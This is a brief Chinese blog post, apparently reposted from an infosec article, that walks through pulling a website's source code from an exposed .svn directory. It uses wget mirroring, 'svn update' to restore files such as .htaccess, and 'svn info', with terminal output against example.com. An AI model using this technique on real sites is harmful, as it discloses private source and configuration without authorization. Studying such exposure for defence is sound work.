hacking svn

[Author]: http://blog.youkuaiyun.com/nixawk
[Origin]:  http://resources.infosecinstitute.com/hacking-svn-git-and-mercurial/


root@gnu:~# svn co http://example.com/.svn/ theora
svn: Repository moved permanently to'http://example.com/.svn/'; please relocate

svn 同步时,提示重新定位,改用下面的地址

root@gnu:~# svn co http://example.com/
svn: OPTIONS of 'http://example.com': 200 OK(http://example.com)

上面的提示表明, 我们无法同步svn仓库,但是HTTP返回200,因此我们可以自行下载svn信息库.

root@gnu:~# wget -m -I .svn http://example.com/.svn/


root@gnu:~# ls -al example.com/
total 12
drwxr-xr-x 3 root root 4096 Oct 1901:09 .
drwxr-xr-x 38 root root 4096 Oct 1901:09 ..
drwxr-xr-x 6 root root 4096 Oct 19 01:09 .svn


root@gnu:~/example.com# svn status
! css
! contact
! ssi
! index.shtml.en
! benefits
! images
! fluendo-theoratest.pls
! news
! torrents
! style.css
! downloads
! cortado
! contact.html
! lists.html
! files
! template.shtml.en
! doc
! cortado.jar
! svn
! faq
! index_old.html
! svn.html
! index.html
! download.html
! content
! vp3.html
! theorafaq_old.html
! vmail.html
! .htaccess
! theorafaq.html
! discuss


root@gnu:~/example.com# svn update
Restored 'fluendo-theoratest.pls'
Restored 'style.css'
Restored 'contact.html'
Restored 'lists.html'
Restored 'template.shtml.en'
Restored 'cortado.jar'
Restored 'index_old.html'
Restored 'svn.html'
Restored 'index.html'
Restored 'download.html'
Restored 'vp3.html'
Restored 'theorafaq_old.html'
Restored 'vmail.html'
svn: Can't open file '.svn/text-base/.htaccess.svn-base': Nosuch file or directory


root@gnu:~/example.com# svn info
Path: .
URL:http://svn.xiph.org/websites/example.com
Repository Root: http://svn.xiph.org
Repository UUID:0101bb08-14d6-0310-b084-bc0e0c8e3800
Revision: 19247
Node Kind: directory
Schedule: normal
Last Changed Author: giles
Last Changed Rev: 19120
Last Changed Date: 2014-05-01 14:09:44 -0400 (Thu, 01 May 2014)


评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值